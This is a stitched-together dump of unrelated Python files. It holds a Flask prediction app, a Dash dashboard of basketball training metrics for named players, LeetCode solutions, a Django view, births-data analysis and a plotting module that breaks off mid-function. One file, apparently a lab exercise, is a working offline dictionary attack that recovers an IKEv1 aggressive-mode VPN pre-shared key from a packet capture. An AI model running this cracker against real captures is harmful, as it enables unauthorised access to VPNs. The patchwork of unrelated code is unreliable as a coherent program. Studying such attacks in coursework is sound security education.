from flask import Flask, render_template, request
from datetime import datetime
import pandas as pd
import numpy as np
import pickle
app = Flask(__name__)

# load model
model = pickle.load(open('model.pkl', 'rb'))

@app.route('/')
def homepage():
    return render_template('index.html')

@app.route('/result', methods=['POST'])
def result():
    if request.method == 'POST':
        to_predict_list = request.form.to_dict()
        to_predict_list = list(to_predict_list.values())
##        to_predict_list = list(map(int, to_predict_list))
        to_predict = np.array(to_predict_list).reshape(1, 5)
        # data_df = pd.DataFrame.from_dict(to_predict_list)

        # predictions
        result = model.predict(to_predict)
        ##if int(result)== 1:
          ##  prediction ='Congrats you will survive'
##        else:
  ##          prediction ='Sorry see you in Hell or Heaven'
        return render_template("result.html", prediction = round(result[0]))

if __name__ == '__main__':
    app.run(debug=True, use_reloader=True)


import dash
import dash_core_components as dcc
import dash_bootstrap_components as dbc
import dash_html_components as html
#import plotly.express as px
import plotly.graph_objects as go
import pandas as pd
import numpy as np
from .database import database as db
from datetime import datetime as dt
import re

from dash.dependencies import Input, Output, State, MATCH, ALL
# from sport.auth.routes import test

# from sport.auth.routes import test

from sport.auth import bp

from sport import create_app

# @bp.before_app_request
# def before_request():

#     if test.is_authenticated:
#         print("qqwe")
#         print(test)
#         print("hi")
#         # init_dashboard(create_app())

#     print("hooo")

def get_comparison_layout(basketball_app,players):

    # print("step 1",'\n\n\n\n')

    # print(test,'\n\n\n\n\n\n\n\n\n')

    # print("step 2",'\n\n\n\n')

    # get the correct dates for the date picker
    min_date, max_date = db.compare_find_latest_and_earliest_date()
    print(min_date, '\\n\n\n\n\n',max_date)

    # all the players for which training can be composed
    # players = ['Kiki FLEUREN', 'Zoë SLAGTER', 'Fleur KUIJT', 'Karin KUIJT',
    #         'Richelle VAN DER KEIJL', 'Esther FOKKE', 'Noor DRIESSEN', 'Loyce BETTONVIL',
    #         'Ilse KUIJT', 'Jill BETTONVIL', 'Emese HOF', 'Natalie VAN DEN ADEL',
    #         'Jacobien KLERX', 'Charlotte VAN KLEEF', 'Rowie JONGELING', 'Janine Guijt', 'Sonja Kuijt', 'Alina SENDAR']

    layout = html.Div([
        html.Details(children=[
                html.Summary("Player Selection", style={"font-size": "25px"}),
                html.Div([
                    html.H5("Select Players for Training Session", style={"textAlign": "center"}),
                    dcc.Dropdown(
                        id="compare-player-selection",
                        options=[
                            {'label': i, "value": i} for i in players
                        ],
                        value=players,
                        multi=True
                    ),
                ]),
        ], style={'width': "70%", "textAlign": "center", "marginLeft": "auto", "marginRight": "auto"}),

        html.Div([

            # selection 1
            html.Div([
                html.H2("Session Selection 1"),
                dcc.DatePickerSingle(
                    id='compare-date-1',
                    min_date_allowed=min_date,# this should find the earliest record of the team
                    max_date_allowed=max_date,# this should find the latest record of the team
                    initial_visible_month=max_date,#dt(2017, 8, 5), # select the latest
                    date=str(max_date),#str(dt(2017, 8, 25, 23, 59, 59)) # select the latest as well
                ),
                dcc.Checklist(
                    id="compare-select-all-1",
                    options=[
                        {'label': 'Select All', "value": "Select All"}
                    ],
                    labelStyle={'display': 'inlinke-block'}
                ),
                dcc.Dropdown(
                    id="compare-drill-selection-1",
                    multi=True
                ),
            ], style={'width': "49%", "textAlign": "center", "display": "inline-block"}),

            # selection 2
            html.Div([
                html.H2("Session Selection 2"),
                dcc.DatePickerSingle(
                    id='compare-date-2',
                    min_date_allowed=min_date,# this should find the earliest record of the team
                    max_date_allowed=max_date,# this should find the latest record of the team
                    initial_visible_month=max_date,#dt(2017, 8, 5), # select the latest
                    date=str(max_date),#str(dt(2017, 8, 25, 23, 59, 59)) # select the latest as well
                ),
                dcc.Checklist(
                    id="compare-select-all-2",
                    options=[
                        {'label': 'Select All', "value": "Select All"}
                    ],
                    labelStyle={'display': 'inlinke-block'}
                ),
                dcc.Dropdown(
                    id="compare-drill-selection-2",
                    multi=True
                ),
            ], style={'width': "49%", "textAlign": "center", "display": "inline-block"}),

            # load chart
            html.Div([
                html.Div(id="compare-load", children=[

                ]),
            ]),

            # acc and dec chart
            html.Div([
                html.Div(id="compare-acc", children=[

                ], style={"width": "49%", "display": "inline-block", "verticalAlign": "top"}),

                html.Div(id="compare-dec", children=[

                ], style={"width": "49%", "display": "inline-block", "verticalAlign": "top"}),
            ]),

            # left and right chart
            html.Div([
                html.Div(id="compare-left-turn", children=[

                ], style={"width": "49%", "display": "inline-block", "verticalAlign": "top"}),

                html.Div(id="compare-right-turn", children=[

                ], style={"width": "49%", "display": "inline-block", "verticalAlign": "top"}),
            ]),

        ])
    ])

    # initiate callbacks
    init_comparison_callbacks(basketball_app)

    return layout

######################################################

################# CALLBACKS ##########################

######################################################

def init_comparison_callbacks(basketball_app):

    @basketball_app.callback(
        [Output("compare-drill-selection-1", "options"),
        Output("compare-drill-selection-1", "value")],
        [Input("compare-date-1", "date"),
        Input("compare-select-all-1", "value")]
    )

    def update_drill_selection_1(date, select_all):
        drill_names = db.compare_find_drills_from_date(date)

        drill_dict = [
            {"label": i, "value": i} for i in drill_names
        ]
        if select_all is None or not select_all:
            return drill_dict, None
        else:
            return drill_dict, drill_names

    # selection 2
    @basketball_app.callback(
        [Output("compare-drill-selection-2", "options"),
        Output("compare-drill-selection-2", "value")],
        [Input("compare-date-2", "date"),
        Input("compare-select-all-2", "value")]
    )
    def update_drill_selection_2(date, select_all):
        drill_names = db.compare_find_drills_from_date(date)
        drill_dict = [
            {"label": i, "value": i} for i in drill_names
        ]
        if select_all is None or not select_all:
            return drill_dict, None
        else:
            return drill_dict, drill_names

    # update all the charts
    @basketball_app.callback(
        [Output("compare-load", "children"),
        Output("compare-acc", "children"),
        Output("compare-dec", "children"),
        Output("compare-left-turn", "children"),
        Output("compare-right-turn", "children")],
        [Input("compare-date-1", "date"),
        Input("compare-drill-selection-1", "value"),
        Input("compare-date-2", "date"),
        Input("compare-drill-selection-2", "value"),
        Input("compare-player-selection", "value")]
    )
    def update_compare_bar_chart_1(date_1, drills_1, date_2, drills_2, players):

        if drills_1 is not None and drills_2 is not None:
            drill_df_1 = db.compare_find_data_for_selected_drills(date_1, drills_1, players)
            drill_df_2 = db.compare_find_data_for_selected_drills(date_2, drills_2, players)

            # get drills
            drill_names_1 = drill_df_1['session_name'].unique().tolist()
            drill_names_2 = drill_df_2['session_name'].unique().tolist()

            # parameters session_name and name are first
            parameters = drill_df_1.columns
            parameters = parameters[2:]

            base_df_1 = pd.DataFrame({"name": drill_df_1['name'].unique().tolist()})
            base_df_1['base_load'] = 0
            base_df_1['base_acc'] = 0
            base_df_1['base_dec'] = 0
            base_df_1['base_left'] = 0
            base_df_1['base_right'] = 0

            base_df_2 = pd.DataFrame({"name": drill_df_2['name'].unique().tolist()})
            base_df_2['base_load'] = 0
            base_df_2['base_acc'] = 0
            base_df_2['base_dec'] = 0
            base_df_2['base_left'] = 0
            base_df_2['base_right'] = 0

            # create figures for the 5 charts
            load_fig = go.Figure()
            acc_fig = go.Figure()
            dec_fig = go.Figure()
            left_turn_fig = go.Figure()
            right_turn_fig = go.Figure()

            # plot bars for selection 1
            for drill in drill_names_1:
                plot_selection_1_df = drill_df_1[drill_df_1['session_name']==drill]
                plot_selection_1_df = pd.merge(base_df_1, plot_selection_1_df, how="left", left_on="name", right_on="name")

                # plot load
                load_fig.add_trace(
                    go.Bar(
                        name=drill,
                        x=plot_selection_1_df['name'],
                        y=plot_selection_1_df['exerciseLoad'],
                        offsetgroup=0,
                        base=plot_selection_1_df['base_load'],
                        hoverinfo='skip'
                    )
                )

                base_df_1['base_load'] = base_df_1['base_load'] + plot_selection_1_df['exerciseLoad']

                # plot acc
                acc_fig.add_trace(
                    go.Bar(
                        name=drill,
                        x=plot_selection_1_df['name'],
                        y=plot_selection_1_df['accMidAndHighCount'],
                        offsetgroup=0,
                        base=plot_selection_1_df['base_acc'],
                        hoverinfo='skip'
                    )
                )

                base_df_1['base_acc'] = base_df_1['base_acc'] + plot_selection_1_df['accMidAndHighCount']

                # plot acc
                dec_fig.add_trace(
                    go.Bar(
                        name=drill,
                        x=plot_selection_1_df['name'],
                        y=plot_selection_1_df['decMidAndHighCount'],
                        offsetgroup=0,
                        base=plot_selection_1_df['base_dec'],
                        hoverinfo='skip'
                    )
                )

                base_df_1['base_dec'] = base_df_1['base_dec'] + plot_selection_1_df['decMidAndHighCount']

                # left turn
                left_turn_fig.add_trace(
                    go.Bar(
                        name=drill,
                        x=plot_selection_1_df['name'],
                        y=plot_selection_1_df['leftTurnMidAndHighCount'],
                        offsetgroup=0,
                        base=plot_selection_1_df['base_left'],
                        hoverinfo='skip'
                    )
                )

                base_df_1['base_left'] = base_df_1['base_left'] + plot_selection_1_df['leftTurnMidAndHighCount']

                # right turn
                right_turn_fig.add_trace(
                    go.Bar(
                        name=drill,
                        x=plot_selection_1_df['name'],
                        y=plot_selection_1_df['rightTurnMidAndHighCount'],
                        offsetgroup=0,
                        base=plot_selection_1_df['base_right'],
                        hoverinfo='skip'
                    )
                )

                base_df_1['base_right'] = base_df_1['base_right'] + plot_selection_1_df['rightTurnMidAndHighCount']

            # plot bars for selection 2
            for drill in drill_names_2:
                plot_selection_2_df = drill_df_2[drill_df_2['session_name']==drill]
                plot_selection_2_df = pd.merge(base_df_2, plot_selection_2_df, how="left", left_on="name", right_on="name")

                # plot load
                load_fig.add_trace(
                    go.Bar(
                        name=drill,
                        x=plot_selection_2_df['name'],
                        y=plot_selection_2_df['exerciseLoad'],
                        offsetgroup=1,
                        base=plot_selection_2_df['base_load'],
                        hoverinfo='skip'
                    )
                )

                base_df_2['base_load'] = base_df_2['base_load'] + plot_selection_2_df['exerciseLoad']

                # plot acc
                acc_fig.add_trace(
                    go.Bar(
                        name=drill,
                        x=plot_selection_2_df['name'],
                        y=plot_selection_2_df['accMidAndHighCount'],
                        offsetgroup=1,
                        base=plot_selection_2_df['base_acc'],
                        hoverinfo='skip'
                    )
                )

                base_df_2['base_acc'] = base_df_2['base_acc'] + plot_selection_2_df['accMidAndHighCount']

                # plot acc
                dec_fig.add_trace(
                    go.Bar(
                        name=drill,
                        x=plot_selection_2_df['name'],
                        y=plot_selection_2_df['decMidAndHighCount'],
                        offsetgroup=1,
                        base=plot_selection_2_df['base_dec'],
                        hoverinfo='skip'
                    )
                )

                base_df_2['base_dec'] = base_df_2['base_dec'] + plot_selection_2_df['decMidAndHighCount']

                # left turn
                left_turn_fig.add_trace(
                    go.Bar(
                        name=drill,
                        x=plot_selection_2_df['name'],
                        y=plot_selection_2_df['leftTurnMidAndHighCount'],
                        offsetgroup=1,
                        base=plot_selection_2_df['base_left'],
                        hoverinfo='skip'
                    )
                )

                base_df_2['base_left'] = base_df_2['base_left'] + plot_selection_2_df['leftTurnMidAndHighCount']

                # right turn
                right_turn_fig.add_trace(
                    go.Bar(
                        name=drill,
                        x=plot_selection_2_df['name'],
                        y=plot_selection_2_df['rightTurnMidAndHighCount'],
                        offsetgroup=1,
                        base=plot_selection_2_df['base_right'],
                        hoverinfo='skip'
                    )
                )

                base_df_2['base_right'] = base_df_2['base_right'] + plot_selection_2_df['rightTurnMidAndHighCount']

            load_fig.update_layout(
                template="plotly_white",
                xaxis={"automargin": True, "type": "category"},
                yaxis={
                    "automargin": True,
                    "title": {"text": "ExerciseLoad"}
                },
                hoverlabel=dict(
                    bgcolor="white",
                    font_size=16,
                    font_family="Rockwell"
                ),
                margin=dict(
                    t=0,
                    pad=1
                ),
                hovermode="x unified",
                transition={
                'duration': 700,
                'easing': 'cubic-in-out'
                },
            )

            acc_fig.update_layout(
                template="plotly_white",
                xaxis={"automargin": True, "type": "category"},
                yaxis={
                    "automargin": True,
                    "title": {"text": "Accelerations"}
                },
                hoverlabel=dict(
                    bgcolor="white",
                    font_size=16,
                    font_family="Rockwell"
                ),
                margin=dict(
                    t=0,
                    pad=1
                ),
                height=400,
                hovermode="x unified",
                transition={
                'duration': 700,
                'easing': 'cubic-in-out'
                },
            )

            dec_fig.update_layout(
                template="plotly_white",
                xaxis={"automargin": True, "type": "category"},
                yaxis={
                    "automargin": True,
                    "title": {"text": "Decelerations"}
                },
                hoverlabel=dict(
                    bgcolor="white",
                    font_size=16,
                    font_family="Rockwell"
                ),
                margin=dict(
                    t=0,
                    pad=1
                ),
                height=400,
                hovermode="x unified",
                transition={
                'duration': 700,
                'easing': 'cubic-in-out'
                },
            )

            left_turn_fig.update_layout(
                template="plotly_white",
                xaxis={"automargin": True, "type": "category"},
                yaxis={
                    "automargin": True,
                    "title": {"text": "Left Turns"}
                },
                hoverlabel=dict(
                    bgcolor="white",
                    font_size=16,
                    font_family="Rockwell"
                ),
                margin=dict(
                    t=0,
                    pad=1
                ),
                height=400,
                hovermode="x unified",
                transition={
                'duration': 700,
                'easing': 'cubic-in-out'
                },
            )

            right_turn_fig.update_layout(
                template="plotly_white",
                xaxis={"automargin": True, "type": "category"},
                yaxis={
                    "automargin": True,
                    "title": {"text": "Right Turns"}
                },
                hoverlabel=dict(
                    bgcolor="white",
                    font_size=16,
                    font_family="Rockwell"
                ),
                margin=dict(
                    t=0,
                    pad=1
                ),
                height=400,
                hovermode="x unified",
                transition={
                'duration': 700,
                'easing': 'cubic-in-out'
                },
            )

            # turn plots into div children
            load_children = [
                html.H5("Optimal Load", style={"textAlign": "center"}),
                dcc.Graph(
                    id="compare-load-fig",
                    figure=load_fig
                )
            ]

            acc_children = [
                html.H5("Accelerations", style={"textAlign": "center"}),
                dcc.Graph(
                    id="compare-acc-fig",
                    figure=acc_fig
                )
            ]

            dec_children = [
                html.H5("Decelerations", style={"textAlign": "center"}),
                dcc.Graph(
                    id="compare-dec-fig",
                    figure=dec_fig
                )
            ]

            left_turn_children = [
                html.H5("Left Turns", style={"textAlign": "center"}),
                dcc.Graph(
                    id="compare-left-turn-fig",
                    figure=left_turn_fig
                )
            ]

            right_turn_children = [
                html.H5("Left Turns", style={"textAlign": "center"}),
                dcc.Graph(
                    id="compare-right-turn-fig",
                    figure=right_turn_fig
                )
            ]

            return load_children, acc_children, dec_children, left_turn_children, right_turn_children

        else:

            return [], [], [], [], []


class Solution(object):
    def spiralOrder(self, matrix):
        """
        :type matrix: List[List[int]]
        :rtype: List[int]
        """
        m = len(matrix)
        if m == 0:
            return []
        n = len(matrix[0])
        top,left = 0,0
        result = []
        while m > 1 and n > 1:
            for i in range(n-1):
                result.append(matrix[top][i+left])
            for j in range(m - 1):
                result.append(matrix[j+top][left+n-1])
            for  i in range(n-1):
                result.append(matrix[top + m - 1][left + n - i - 1])
            for j in range(m - 1):
                result.append(matrix[top + m - j - 1][left])
            left += 1
            top += 1
            m -= 2
            n -= 2
        if m==1:
            for i in range(n):
                result.append(matrix[top][i+left])
        elif n == 1:
            for j in range(m):
                result.append(matrix[j + top][left + n - 1])
        return result

import json
def stringToInt2dArray(input):
    return json.loads(input)

def integerListToString(nums, len_of_list=None):
    if not len_of_list:
        len_of_list = len(nums)
    return json.dumps(nums[:len_of_list])

def main():
    import sys
    def readlines():
        for line in sys.stdin:
            yield line.strip('\n')

    lines = readlines()
    while True:
        try:
            line = lines.__next__()
            matrix = stringToInt2dArray(line)

            ret = Solution().spiralOrder(matrix)

            out = integerListToString(ret)
            print(out)
        except StopIteration:
            break

if __name__ == '__main__':
    main()


from django.shortcuts import render_to_response
from django.template import RequestContext

def lab_open_source(request):
    return render_to_response(
        'lab-open-source.html',
        {
            'title': 'Open Source in our Computer Lab',
        },
        context_instance=RequestContext(request),
    )


class Solution(object):
    def rangeBitwiseAnd(self, m, n):
        """
        :type m: int
        :type n: int
        :rtype: int
        """
        if m == 0 or n >= 2 * m:
            return 0

        result = m
        for i in range(m+1,n+1):
            result &= i
        return result


#pcapPath = "../pcaps/ikev1-psk-aggressive-mode.pcapng"
#dictPath = "../dict/list.txt"

pcapPath = "../pcaps/ikev1-psk-aggressive-mode.pcapng"
dictPath = "../dict/list.txt"

from scapy.all import *
import unittest
import ikev1_pcapReader as pcapReader
import ikev1_payloadParser as ikeParser
import hmac
from hashlib import *
import binascii

class TestStringMethods(unittest.TestCase):
    initSAPacketHash = 'd2e89614bf3b3db2bfa49ac0f2c3886afd334ba4dfb8d83ac7ce2845fb4b8fbc'
    respSAPacketHash = '26c0c9006369b2c3d63a2e321769a3a17a618bd87685c4b424185ffae522c8af'
    hashTargetHash = 'd4a0b1eafc0b9ba6decef27d74bad0e21e1cccec6a33f7513d457c110a0bf475'
    SAPayloadHash = '9cf3d227565c5aec2151e0dfecc2f221cb92028e7ae8983a8cf58e51d9f0b7de'
    respIDHash = '075e0f92cd8e90e614da058b57c22c2273e85666be099dde25b9475e778589e0'
    initCookieHash = 'e4cdb411ef22aa8f4cf247838099d3fc1a53cef3764f5b5d9d89d8ca8d60be3f'
    respCookieHash = '728dfa161440cc68436f55baf6b0b5b16ab04dcce47ea931967db2ef15004b8e'
    initKEXHash = 'bab450b4af06d5ee0c6aa50a578a9d2242b72665e3ec5f196bc03cbee6c0b975'
    respKEXHash = 'd99432634866fcef67ded4dc1a1813266cb3c4db8361289e31ae77bd7025574b'
    initNonceHash = '89ba1e13475c116710c1258f7f57c4712d582e44406f4eb4172bf0581ac96af0'
    respNonceHash = '75626d88df06e1661c7732aa3359aba27fb27eb9c3d34ca6bfd94721a935225e'

    def test_initSAPacket(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        initSAPacket = ikeParser.getIniatorSAPacket(ikePackets)
        initHash = sha256(raw(initSAPacket)).hexdigest()
        self.assertEqual(initHash, TestStringMethods.initSAPacketHash)

    def test_respSAPacketHash(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        respSAPacket = ikeParser.getResponderSAPacket(ikePackets)
        respSAPacketHash = sha256(raw(respSAPacket)).hexdigest()
        self.assertEqual(respSAPacketHash, TestStringMethods.respSAPacketHash)

    def test_targetHash(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        respSAPacket = ikeParser.getResponderSAPacket(ikePackets)
        targetHash = ikeParser.getRespHashfromPacket(respSAPacket)
        hashTargetHash = sha256(targetHash).hexdigest()
        self.assertEqual(hashTargetHash, TestStringMethods.hashTargetHash)

    def test_SAPayloadHash(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        initSAPacket = ikeParser.getIniatorSAPacket(ikePackets)
        SAPayload = ikeParser.getSAPayloadFromInitPacket(initSAPacket)
        SAPayloadHash = sha256(SAPayload).hexdigest()
        self.assertEqual(SAPayloadHash, TestStringMethods.SAPayloadHash)

    def test_respIDHash(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        respSAPacket = ikeParser.getResponderSAPacket(ikePackets)
        respID = ikeParser.getResponderIDFromRespPacket(respSAPacket)
        respIDHash = sha256(respID).hexdigest()
        self.assertEqual(respIDHash, TestStringMethods.respIDHash)

    def test_initCookieHash(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        initSAPacket = ikeParser.getIniatorSAPacket(ikePackets)
        initCookie = ikeParser.getCookieFromISAKMP(initSAPacket,False)
        initCookieHash = sha256(initCookie).hexdigest()
        self.assertEqual(initCookieHash, TestStringMethods.initCookieHash)

    def test_respCookieHash(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        respSAPacket = ikeParser.getResponderSAPacket(ikePackets)
        respCookie = ikeParser.getCookieFromISAKMP(respSAPacket, True)
        respCookieHash = sha256(respCookie).hexdigest()
        self.assertEqual(respCookieHash, TestStringMethods.respCookieHash)

    def test_initKEXHash(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        initSAPacket = ikeParser.getIniatorSAPacket(ikePackets)
        initKEX = ikeParser.getPayloadFromISAKMP(initSAPacket,ikeParser.ISAKMP_KEX_NAME)
        initKEXHash  = sha256(initKEX).hexdigest()
        self.assertEqual(initKEXHash, TestStringMethods.initKEXHash)

    def test_respKEXHash(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        respSAPacket = ikeParser.getResponderSAPacket(ikePackets)
        respKEX = ikeParser.getPayloadFromISAKMP(respSAPacket,ikeParser.ISAKMP_KEX_NAME)
        respKEXHash  = sha256(respKEX).hexdigest()
        self.assertEqual(respKEXHash, TestStringMethods.respKEXHash)

    def test_initNonceHash(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        initSAPacket = ikeParser.getIniatorSAPacket(ikePackets)
        initNONCE = ikeParser.getPayloadFromISAKMP(initSAPacket,ikeParser.ISAKMP_NONCE_NAME)
        initNonceHash  = sha256(initNONCE).hexdigest()
        self.assertEqual(initNonceHash, TestStringMethods.initNonceHash)

    def test_respNonceHash(self):
        netPackets = pcapReader.openPCAPFile(pcapPath)
        ikePackets = pcapReader.getISAKMPPackets(netPackets)
        respSAPacket = ikeParser.getResponderSAPacket(ikePackets)
        respNONCE = ikeParser.getPayloadFromISAKMP(respSAPacket,ikeParser.ISAKMP_NONCE_NAME)
        respNonceHash  = sha256(respNONCE).hexdigest()
        self.assertEqual(respNonceHash, TestStringMethods.respNonceHash)

###########################################################
# Implement your code here DO NOT touch functions above   #
###########################################################

def bytesToHex(byteStr):
    return binascii.hexlify(bytes(byteStr, "ascii"))

def computeKeyFromValues(initNONCE, respNONCE, psk):
    # k := PRF_psk(n_i, n_r) mit HMAC als PRF und psk als key
    return hmac.new(bytes(psk, "ascii"), initNONCE + respNONCE, sha1)

def computeHashRFromValues(psk, packets):
    # Initator- und Responder-Pakete
    initSAPacket = ikeParser.getIniatorSAPacket(packets)
    respSAPacket = ikeParser.getResponderSAPacket(packets)
    # g^x
    initKEX = ikeParser.getPayloadFromISAKMP(initSAPacket, ikeParser.ISAKMP_KEX_NAME)
    # g^y
    respKEX = ikeParser.getPayloadFromISAKMP(respSAPacket, ikeParser.ISAKMP_KEX_NAME)
    # cyk_I
    initCookie = ikeParser.getCookieFromISAKMP(initSAPacket, False)
    # cyk_R
    respCookie = ikeParser.getCookieFromISAKMP(respSAPacket, True)
    # SA_I
    SAPayload = ikeParser.getSAPayloadFromInitPacket(initSAPacket)
    # ID_R
    respID = ikeParser.getResponderIDFromRespPacket(respSAPacket)
    # n_I
    initNONCE = ikeParser.getPayloadFromISAKMP(initSAPacket, ikeParser.ISAKMP_NONCE_NAME)
    # n_R
    respNONCE = ikeParser.getPayloadFromISAKMP(respSAPacket, ikeParser.ISAKMP_NONCE_NAME)
    # PRF_k(g^y,g^x,cyk_R,cyk_I,SA_I,ID_R)
    return hmac.new(computeKeyFromValues(initNONCE, respNONCE, psk).digest(), respKEX + initKEX + respCookie + initCookie + SAPayload + respID, sha1)

if __name__ == '__main__':
    # Pakete vorbereiten
    netPackets = pcapReader.openPCAPFile(pcapPath)
    ikePackets = pcapReader.getISAKMPPackets(netPackets)
    initSAPacket = ikeParser.getIniatorSAPacket(ikePackets)
    respSAPacket = ikeParser.getResponderSAPacket(ikePackets)

    # Wörterbuch in den Speicher laden
    dictionary = []
    with open(dictPath, 'r') as file:
        dictionary = file.read().splitlines()

    # Brute-Force Schlüsselsuche
    for word in dictionary:
        if computeHashRFromValues(word,ikePackets).hexdigest() == binascii.hexlify(ikeParser.getRespHashfromPacket(respSAPacket)).decode():
            print("Passwort gefunden: " + word)
            exit()
    unittest.main()


import matplotlib.pyplot as plt
import pandas as pd
import re

births_1 = pd.read_csv("data_files/births94-03.csv", header=0)
births_2 = pd.read_csv("data_files/births04-14.csv", header=0)

births = pd.concat([births_1, births_2[len(births_2['year'])-list(reversed(list(births_2['year']))).index(2003):]])

day_names = {1: 'Monday', 2: 'Tuesday', 3: 'Wednesday', 4: 'Thursday', 5: 'Friday', 6: 'Saturday', 7: 'Sunday'}
month_names = {1: "January", 2: 'February', 3: 'March', 4: 'April', 5: "May", 6: 'June', 7: 'July', 8: 'August', 9: 'September', 10: 'October', 11: 'November', 12: 'December'}
years = births['year'].unique()
months = range(1, 13)

def config_get_returns(d: int, m: int, y: int):
    '''Configures return values for the get function'''
    dow = data[y][m][d]['day_of_week'] # dow --> date of week
    b = data[y][m][d]['births'] # b --> births
    return {'day': d, 'month': m, 'year': y, 'date': f'{m}/{d}/{y}', 'date_2': f'{day_names[dow]}, {month_names[m]} {d}, {y}', 'day_of_week': dow, 'day_of_week_2': day_names[dow], 'births': b}

def set_mma(values: list, dic: dict):
    '''adds max/min/average of values to dic
    * adds w/ keys 'max', 'min', 'avg'
    '''
    dic['avg'] = sum(list(values))/len(list(values))
    dic['max'] = max(list(values))
    dic['min'] = min(list(values))

def get(key: str, year=None, month=None):
    '''gets date of min/max or value at a date
    key:
    * dates formatted MM/DD/YYYY
    * 'min' or 'max'
    year (if not provided, defaults to all data):
    * int between and including 1994 and 2014
    month (if not provided, defaults to year):
    * requires year to be provided
    * int between and including 1 and 12
    '''
    if key in {'min', 'max'} and year is None:
        for y in years:
            if data[y][key] == data[key]:
                for m in months:
                    if data[y][m][key] == data[key]:
                        for d in range(1, len(data[y][m].keys()) - 2):
                            if data[y][m][d]['births'] == data[key]:
                                return config_get_returns(d, m, y)
    elif re.match(r'\d{1,2}\/\d{1,2}\/\d{4}', key) is not None:
        m, d, y = list(map(int, key.split('/')))
        try:
            return config_get_returns(d, m, y)
        except:
            print('error: invalid date provided; max date is 12/31/2014, min date is 1/1/1994')
    elif year is not None:
        y = year
        if month is None:
            for m in months:
                if data[y][m][key] == data[y][key]:
                    for d in range(1, len(data[y][m].keys()) - 2):
                        if data[y][m][d]['births'] == data[y][key]:
                            return config_get_returns(d, m, y)
        else:
            m = month
            for d in range(1, len(data[y][m].keys()) - 2):
                if data[y][m][d]['births'] == data[y][m][key]:
                    return config_get_returns(d, m, y)

data = {}
for y in years:
    year_data = births[births['year'] == y]
    year = list(year_data['year'])[0]
    data[year] = {}
    set_mma(list(year_data['births']), data[year])
    for m in months:
        month_data = year_data[year_data['month'] == m]
        data[year][m] = {}
        set_mma(list(month_data['births']), data[year][m])
        for d in month_data['date_of_month']:
            data[year][m][d] = {'births': list(month_data['births'])[d-1], 'day_of_week': list(month_data['day_of_week'])[d-1]}

set_mma(list(births['births']), data)

print(get('max'))


import math
import numpy
import matplotlib
import matplotlib.pyplot as pyplot
from matplotlib import rc
import bisect
import random
import sys

car_length = 4.5

class pc_data(object):
    def __init__(self, dx, data, inf):
        self.dx = dx
        self.inf = inf
        self.n = len(data)
        self.build(data)
    def __iter__(self):
        def it(start, obj):
            i = start
            while i < obj.n:
                yield obj[i]
                i += 1
        return it(0, self)
    def end(self):
        return self.n*self.dx
    def build(self, data):
        self.integration = numpy.zeros((self.n+1))
        for i in xrange(1, len(self.integration)):
            self.integration[i] = self.integration[i-1] + data[i-1]*self.dx
    def __getitem__(self, idx):
        if(idx >= self.n):
            return self.inf
        return (self.integration[idx+1] - self.integration[idx])/self.dx
    def integrate(self, t):
        if t >= self.n*self.dx:
            local = t - self.n*self.dx
            return self.integration[-1] + local*self.inf
        else:
            scaled = t/self.dx
            cell = math.floor(scaled)
            local = scaled - cell
            return (1.0-local)*self.integration[cell] + local*self.integration[cell+1]
    def inv_integrate(self, v, start=0):
        if v < self.integration[0]:
            raise Exception("Value is beyond range of integral!")
        if v > self.integration[-1]:
            last_v = self.integration[-1]
            t = (v-last_v)/self.inf + self.n*self.dx
            next_start = len(self.integration)-1
        else:
            assert(start + 1 < len(self.integration))
            idx = bisect.bisect_right(self.integration, v, start)
            last_v = self.integration[idx-1]
            t = (v-last_v)/self[idx-1] + (idx-1) * self.dx
            next_start = idx-1
        return t, next_start
    def plot(self, ax, data, integrate, extra):
        assert extra >= self.n*self.dx
        if data:
            x = numpy.linspace(0, self.dx*(self.n-1), self.n)
            pl = numpy.zeros(self.n)
            for i in xrange(0, self.n):
                pl[i] = self[i]

            b = ax.bar(x, pl, width=self.dx, color='#dcad2d', ec='none', label=r'$\lambda(x)=\frac{1}{l}\rho(x)$')
        if integrate:
            x = numpy.linspace(0, self.dx*self.n, self.n+1)
            p = ax.plot(list(x)+[extra], list(self.integration)+[self.integration[-1] + self.inf*(extra-x[-1])], label='$\Lambda(x) = \int_0^x \lambda(t)d\,t$', lw=2, color='#2c6b26')
            for i in xrange(1, len(x)):
                ax.add_line(matplotlib.lines.Line2D((x[i], x[i], 0),(0, self.integration[i], self.integration[i]),
                                                    color='black', ls=':'))

        return ax

def pc_string(str):
    lst = str.split()
    n = int(lst[0])
    dx = float(lst[1])
    inf = float(lst[-1])
    data = [float(x) for x in lst[2:-1]]
    assert len(data) == n
    return pc_data(dx, data, inf)

def pc_func(func, dx, n):
    data = numpy.zeros((n))
    x = 0
    for i in xrange(0, n):
        data[i] = 0.5*(func(x) + func(x+dx))
        x += dx
    return pc_data(dx, data, func(x))

def pc_avg(places, dx, n):
    data = numpy.zeros((n))
    inv_dx = 1.0/dx
    for p in places:
        data[int(math.floor(p*inv_dx))] += 1
    for i in xrange(len(data)):
        data[i] *= inv_dx
    return pc_data(dx, data, 0)

def plot_inv_web(ax, pc, y):
    x,ignore = pc.inv_integrate(y)
    l0 = matplotlib.lines.Line2D((0, x), (y, y), color='black', linewidth=1.0)
    l1 = matplotlib.lines.Line2D((x, x), (0, y), color='black', linewidth=1.0)
    ax.add_line(l0)
    ax.add_line(l1)
    return ax

def plot_web(ax, pc, x):
    y = pc.integrate(x)
    l0 = matplotlib.lines.Line2D((0, x), (y, y), color='black', linewidth=1.0)
